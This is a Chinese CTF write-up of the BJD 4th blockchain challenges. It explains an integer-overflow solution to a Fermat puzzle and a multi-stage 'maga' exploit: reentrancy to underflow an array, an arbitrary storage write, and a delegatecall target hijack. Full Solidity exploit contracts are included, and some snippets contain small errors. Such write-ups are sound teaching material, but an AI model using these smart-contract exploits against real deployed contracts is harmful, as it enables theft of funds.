BJD4th BlockChain wp

B

首先感谢 pikachu 师傅开源的这套区块链出题模板,大家快去 star ~

Fermat’s problem

区块链签到题,主要是给师傅们练手,有些刚接触区块链的师傅可能没太见过皮卡丘师傅的模板,所以可能卡在了各种奇奇怪怪的点上。

首先 nc 上靶机,会有个哈希值爆破的验证:

题目会给出一个随机数,拼接上某个值的 sha256 摘要值要以五个 0 结尾,我们简单写个脚本爆破一下即可:

#!/usr/bin/python
import sys
from hashlib import sha256
for i in range(10000000):
    s = sys.argv[1] + str(i)
    h = sha256(s).hexdigest()
    if h[-5:] == "00000":
        print(i, s, h)
        res = ""
        for bit in str(i):
            res = res + "3" + str(bit)
            print i
            break

一下就能爆破出需要的值为 112266,于是发给服务器,服务器会给我们好多个选项:

我们先选择第一个选项下发一个账户,然后服务器会返回给我们一个 20 字节的账户地址和一大串 token,token 先保存下来,然后用 MetaMask 给账户地址转点儿钱(一般为了保险都直接转一个 ether)

等交易完成(MetaMask 上不显示 Pending),再次与服务器交互,选择 2 部署合约,即可得到一个新的巨长的 token 和一个三十二字节的交易哈希(tx tash):

etherscan 上查找对应的交易,即可找到交易哈希对应的生成合约的地址

有了合约地址之后,还需要知道合约的源码,再次与服务器交互,选择 4 查看源码即可获得。

pragma solidity ^0.4.23;

contract Puzzle {
    event flag();
    function getflag(uint256 x, uint256 y, uint256 z) public {
        uint256 n = 3;
        require(x != y);
        require(y != z);
        require(z != x);
        require(x**n  + y**n == z**n, "You must smarter than Fermat.");
        emit flag();
    }
}

可以看到合约非常简单,只有一个 getflag 函数,满足所有 require 之后就能触发 flag 事件,但是 require 需要我们构造三个数 x、y、z,满足 n = 3 的费马大定理,这里需要构造一个整数溢出来满足条件。

众所周知,在 solidity 中 uint256 类型的表示范围仅仅限于 0 ~ (2 ** 256)- 1,而大于或小于这个范围,会自动 mod 2 ** 256,也就是说 2 ** 256 == 0。

按照这个思路,2 ** 257 自然也等于 0(等于 2 ** 256 乘 2),2 ** 258 也等于 0,而 258 实际上是一个可以被 3 整除的数,有 258 / 3 == 86,也就是说我们让 x = 2 ** 86,y = 2 ** 87,z = 0,就可以满足题目条件,完成这个费马大定理的构造。

有了合约地址和合约源码,就可以通过 remix 编译器对合约进行交互

等待交易完成,在 etherscan 上能看到合约的事件被触发了,也就是说我们可以拿到 flag 了。

最后与服务器交互一次,选择 3,输入 new token 和触发事件的交易的交易哈希值(上图中第一行 0x0d86 开头的值),即可得到 flag:

Puzzle

一道中等难度的题目,由于比赛时间的原因没上,可能会出现在其他比赛,为了大家的比赛体验之后再发 wp 吧~

maga

随便看看

与服务器交互不再赘述,只不过这个题目由于要部署多个合约,所以部署时间会稍微长一点。部署好之后按照交易哈希找到创建好的合约,地址记为 voteAddr,具体到我分到的环境,这个 voteAddr 就是 0x29,可以顺便看一下合约 storage 的变化:

可以看到在合约初始化的时候,slot0 和 slot1 分别是一个 20 字节长度的值,在对应逆向出的合约源码,会发现这是另外的两个地址:

往下继续看,会发现某些函数对 slot0 或 slot1 有调用操作,说明这两个地址是合约地址。

我们把 slot0 上的地址称为 dataAddr,slot1 上的地址称为 lockAddr,这样我们就有了三个地址,可以分别逆向出伪代码。

先来看看怎么触发事件拿到 flag,全局搜索 log:

需要两个条件,首先调用 slot1 上的某个函数,要求调用成功。之后再调用 slot0 上的某个函数,要求返回值大于 270。

先来完成第二个条件

vote 合约由于比赛中途给了源码,而且功能也基本都是调用其他两个合约的函数,没有太多有用的漏洞点,于是剩下的代码在这里不多分析。

首先看 data 合约,slot0 是一个 mapping,slot1 是一个结构体数组。

并且我们可以通过 2215 这个函数来获得 slot1 这个数组的长度

继续往下看,找到 2cf8 这个函数,发现 slot1 的数据结构的低 20 字节是地址,且可以通过这个函数在数组不越界的情况下改变数组上任意值的低 20 字节。

再回去看一眼 data 合约创建时 storage 的变化,发现没有预定义的值,也就是说一开始 slot1 上的数组长度为 0,无法有效利用。

现在我们有了一个不越界的任意写,要想办法把这个漏洞升级为越界任意写。

全局搜索下 slot.length,发现在 92 行,函数 6dd0 中有个 — 操作:

如果我们成功触发这个 –,就可以让数组长度下溢出,再配合上数组不越界写,就可以达到一个 storage 上任意写的能力。

那我们仔细来看看这部分代码,首先会先检查当前的余额是否等于数组的长度乘 0.1 ether,过了检查之后遍历这个数组,找出传进去的参数的 index 值,把 index 之后的数组元素的索引值全部往前挪一位,之后再检查下余额和数组长度是否一致,给 msg.sender 转账 0.1 ether 之后再进行 — 操作,然后把数组最后的元素置 0。

在 solidity 中,如果转账操作的对象是合约,则会自动调用合约的 fallback 函数,而调用者是我们完全可控的,也就是 fallback 函数是我们完全可控的,因此可以写一个攻击合约,先正常注册一个账户(转账 0.1 ether 并使数组长度 + 1),再调用 data 合约的 6dd0 函数,并且在攻击合约的 fallback 函数中重入到 6dd0 函数中,就可以使数组的 length 经过两次 — 操作,从而触发下溢出。(详细的重入攻击介绍请看BJD2nd的WP

可是写完合约会发现直接 revert 了,报错信息是“money not correct.”。这里需要思考一下执行顺序,首先正常注册,此时合约有 0.1 ether,数组长度为 1,可以经过第一次调用的第一次 check(即检查余额和数组长度 * 0.1 ether 是否一致),然后正常执行直到转账,转账时调用了攻击合约的 fallback 函数,使得我们重新进入了 6dd0 函数,这时合约有 0 ether(已经转账给我们的攻击合约了),但是数组长度还没有 –,因此无法成功通过重入进来的第一次 check,导致报错。

于是我们需要合约在第一次正常调用 6dd0 函数时和重入进 6dd0 函数时,都拥有 0.1 ether。这显然在静态条件下无法满足,需要想个办法在重入之前某个时刻,恰好有人给 data 合约转 0.1 ether。

于是我们把眼光重新放回 fallback 函数,在调用 6dd0 之前加个转账操作,就可以满足上述条件。我的 exp 是通过新建一个 0.1 ether 的合约,通过 selfdestruct 转账。

执行成功之后,即可完成 storage 上任意写,可以去完成的 getflag 的第二个条件,再仔细看下源码,需要我们满足的值存在位于 slot0 上的 mapping 中,利用函数 0783 可以操作这个值,但是最后的结果会 mod 270,也就是说调用这个函数永远无法达到 270。我们根据 solidity 上的 storage 排布规律,可以通过 keccak256(abi.encode(address(this), 0)) 算出我们应该覆盖的地址,再根据我们任意写数组的基址 keccak256(abi.encode(1)),计算出需要覆盖的偏移量(应该覆盖的地址减去基址)。即可完成第二个条件。

再来看看第一个条件

第一个条件需要看看 lock 合约的代码,来逆向一下,发现逻辑非常简单,就是把对应签名的函数做了一个 bytes4 => bool 的映射,只有 bool 为 false 的函数才能被调用。

一开始在 vote 合约触发事件的函数会在合约创建时就被锁住(下图中的0xd2b8,值为true),而往上看,slot 0xb10e 这个地址好像有点眼熟,仔细一看,这就是 data 合约的地址。

继续看代码,好像也没什么有意思的点,但是合约的 fallback 函数非常显眼:

他会先取出来 slot1 上的第四个元素,然后进行 delegatecall,函数名和参数均可控。delegatecall 是 solidity 的一个特殊方法,可以调用另一个合约的函数,但是函数执行时的环境却是本合约(假设 B 合约有一 abc 函数,这个函数的功能是让 slot0 = 0,当 A 合约 delegatecall B 合约的 abc 函数时,A 合约的 slot0 会被赋值为0)。再来看看 slot1 上第四个元素是什么,首先看看 storage 结构:

slot1 是一个动态数组,通过 keccak256(abi.encode(1)) 可以计算出 slot1 的基址为 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,加上偏移量 3,最后的 slot1[3] 在 storage 上的 slot index 为 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf9,再去 etherscan 上查询,会发现这个 slot 正是我们一开始发现的 data 合约的地址,也就是说我们可以通过 lock 合约的 fallback 函数来 delegatecall data 合约的函数。

而我们刚好有一个 data 合约上的任意写,也就是我们拥有了 lock 合约的任意写。于是赶紧计算下偏移量直接把 0x7bd955f3 这个签名存在的 slot 上置为 0,但是写出 exp 之后发现会莫名其妙 revert。经过测试发现使用 fallback 函数调用任意写,任意写的范围只能是 20 字节,但是我们任意写基址为 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,目标地址为0xd2b89ce753ab97e6ffc474e69a2aadee531dc0d5fb663554efbc417464281b44,差值显然大于 20 字节。

不能通过 data 的任意写直接把 true 覆盖为 false,似乎我们没有其他方法了。于是我们再来看一眼有什么线索被遗漏了,再次关注下 data 合约和 lock 合约的 storage 排布:

data 合约 storage 排布
lock 合约 storage 排布

发现问题了吗?两个合约的 slot0 均为 mapping,slot1 均为变长数组,也就是两合约 mapping 和 变长数组在 storage 上的 index 是一样的。其中,data 合约的变长数组是我们可以任意写的数组,基址为 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,lock 合约的变长数组基址也为 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,这个变长数组存储了一堆地址,其中就有通过 fallback 函数 delegatecall 的 data 合约的地址。

看,我们虽然不能直接通过任意写覆盖掉 0x7bd955f3 这个签名的锁,但是我们可以通过偏移量 3,覆盖掉 data 合约的地址,覆盖写入我们的恶意合约,再次调用 lock 合约的 fallback 函数,此时 delegatecall 的就是我们自定义的恶意合约。

我们只需写个 demo,即可曲线救国,完成 0x7bd955f3 这个签名的解锁:

contract lockUnlock{
    mapping(bytes4 => bool) locked;

    function unlock() public{
        locked[0x7bd955f3] = false;
    }
}

将 data 合约的地址覆盖为我们的 lockUnlock 合约的地址,再通过 lock 合约的 fallback 函数调用 bytes4(keccak256(“unlock()”)),即可完成解锁,完成第一个要求。

两个条件均已完成,去领取属于你的 flag 吧~

EXP

我的 exp:

pragma solidity ^0.4.23;

contract data{
    mapping(address => uint) private vote;
    address[] private candidates;

    function getVote(address tmpCandidate) public view returns(uint){}

    function addVote(address tmpCandidate, uint tmpUint) public {}

    function returnVote(address tmpCandidate) public view returns(uint){}

    function playerNum() public view returns (uint){}

    function changeCandidateByAddr(address self, address tmpCandidate) public{}

    function changeCandidate(uint index, address tmpCandidate) public{}

    function checkBalance() public view returns(bool){}

    function removeCandidate(address tmpCandidate) public{}

    function addCandidate(address tmpCandidate) public payable{}
}


contract lock{
    mapping(bytes4 => bool) locked;
    data private dataCon;

    constructor(address dataAddr) public{}

    function setOwner(address o) public{}

    function lockOne(bytes4 sign) public{}

    function unlock(bytes4 sign) public{}

    function lockAll() public{}

    function isLock(bytes4 sign) public view returns(bool){}

    function(){}
}

contract vote{
    data private dataCon;
    lock private lockCon;
    event beElected();

    function elect() public{}

    function signUp() public payable{}

    function voteFor(address candidate) public payable{}

    function quit() public{}

    function change(address candidate) public{

    function query() public view returns(uint) {}

    function queryVote(address candidate) public view returns(uint){}

    function unlock(bytes4 sign) public payable{}
}

contract dataArrayUnlock{
    address my;
    data dataCon;
    lock lockCon;
    money moneyCon;
    lockUnlock unlockCon;
    vote voteCon;
    bool time;
    constructor(address dataAddr, address moneyAddr, address lockAddr, address unlockAddr, address voteAddr){
        my = msg.sender;
        dataCon = data(dataAddr);
        lockCon = lock(lockAddr);
        moneyCon = money(moneyAddr);
        unlockCon = lockUnlock(unlockAddr);
        voteCon = vote(voteAddr);
    }

    function step1()public payable{
        // make data's array overflow
        require(msg.value == 0.1 ether, "need 0.1 eth");
        voteCon.signUp.value(0.1 ether)();
        dataCon.removeCandidate(my);

        // let our vote greater than 270
        uint256 indexToOverwrite = calcHash();
        dataCon.changeCandidate(indexToOverwrite, address(this));

    }

    function calcHash() internal view returns(uint256){
        uint dataMappingSlot = 0;
        uint dataArraySlot = 1;
        address thisConAddr = address(this);
        uint256 wantsAddr = uint256(keccak256(abi.encode(thisConAddr, dataMappingSlot)));
        uint256 baseAddr = uint256(keccak256(abi.encode(dataArraySlot)));

        uint256 bias;
        if(wantsAddr > baseAddr){
            bias = wantsAddr - baseAddr;
        }
        else if(wantsAddr == baseAddr){
            bias = 0;
        }
        else if(wantsAddr < baseAddr){
            uint256 tmp = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
            bias = (tmp - baseAddr) + 1 + wantsAddr;
        }
        return bias;
    }



    function step2() public{
        // over write the delegatecall's address
        // to our vuln contract
        bytes4 changeMethodId = bytes4(keccak256("changeCandidate(uint256,address)"));
        address(lockCon).call(changeMethodId, 3, address(unlockCon));

        // delegatecall our vuln contract to unlock the sign 0x7bd955f3
        bytes4 unlockMethodId = bytes4(keccak256("unlock()"));
        address(lockCon).call(unlockMethodId);
    }

    function step3() public{
        // trager the event
        voteCon.elect();
    }

    function() public payable{
        if(time == false){
            time = true;
            moneyCon.destruct();
            dataCon.removeCandidate(my);
        }
    }
}

contract money{
    address dataAddr;
    constructor(address data) payable{
        require(msg.value == 0.1 ether);
        dataAddr = data;
    }
    function destruct() public {
        selfdestruct(dataAddr);
    }
}

contract lockUnlock{
    mapping(bytes4 => bool) locked;

    function unlock() public{
        locked[0x7bd955f3] = false;
    }
}

先部署好 lockUnlock 合约,然后跟服务器交互获得 data、lock、vote 三个地址的合约,然后部署 money 合约,参数为 data 合约的地址,最后部署 dataArrayUnlock 合约,参数为上述五个地址,分别执行 step1、step2、step3,即可获得 flag。

学到的姿势

MAGA 这个题目全场只有 pikachu 师傅做了出来,赛后跟师傅交流了下,发现师傅直接用 etherscan 上的 similar contract 功能找到了所有的 bytecode 相同的 ropsten 上的合约,也就找到了我在出题时测试的靶机合约,顺便找到了我的 exp,从而上车一把梭。。。

其实这种问题也好解决,可以在部署合约时给合约做一点动态的调整和混淆,使得每个合约的 bytecode 都不太一样,这样就会减低被检索到的可能性。

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.